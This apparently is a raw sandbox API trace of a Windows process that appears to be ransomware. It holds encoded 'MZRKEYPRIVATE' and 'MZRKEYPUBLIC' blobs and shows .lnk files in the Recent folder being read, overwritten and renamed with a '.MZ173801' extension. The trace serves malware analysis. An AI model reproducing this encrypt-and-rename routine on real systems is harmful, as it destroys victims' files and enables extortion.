lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252706c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.927] GetCurrentThreadId () returned 0xab4 [0146.927] GetCurrentThreadId () returned 0xab4 [0146.927] GetCurrentThreadId () returned 0xab4 [0146.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x25380cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.928] GetCurrentThreadId () returned 0xab4 [0146.928] GetCurrentThreadId () returned 0xab4 [0146.928] GetCurrentThreadId () returned 0xab4 [0146.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\283NpHh8_ly2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\283nphh8_ly2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.928] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.928] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.928] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3d0 [0146.928] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.928] ReadFile (in: hFile=0x280, lpBuffer=0x253fed0, nNumberOfBytesToRead=0x3d0, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesRead=0x19fa18*=0x3d0, lpOverlapped=0x0) returned 1 [0146.929] CloseHandle (hObject=0x280) returned 1 [0146.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\283NpHh8_ly2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\283nphh8_ly2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.930] WriteFile (in: hFile=0x280, lpBuffer=0x2541f00*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2541f00*, lpNumberOfBytesWritten=0x19fa24*=0x3d0, lpOverlapped=0x0) returned 1 [0146.931] CloseHandle (hObject=0x280) returned 1 [0146.932] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\283NpHh8_ly2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\283nphh8_ly2.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\283NpHh8_ly2.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\283nphh8_ly2.lnk.mz173801")) returned 1 [0146.932] GetCurrentThreadId () returned 0xab4 [0146.933] GetCurrentThreadId () returned 0xab4 [0146.933] GetCurrentThreadId () returned 0xab4 [0146.933] GetCurrentThreadId () returned 0xab4 [0146.933] GetCurrentThreadId () returned 0xab4 [0146.933] GetCurrentThreadId () returned 0xab4 [0146.933] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3203bcf, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3203bcf, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3204f90, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3a6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="2f1V.lnk", cAlternateFileName="")) returned 1 [0146.933] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.933] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.933] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2f1V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2f1v.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3203bcf, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3203bcf, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3204f90, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3a6)) returned 1 [0146.933] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2f1V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2f1v.lnk")) returned 0x20 [0146.933] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2f1V.lnk", dwFileAttributes=0x80) returned 1 [0146.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 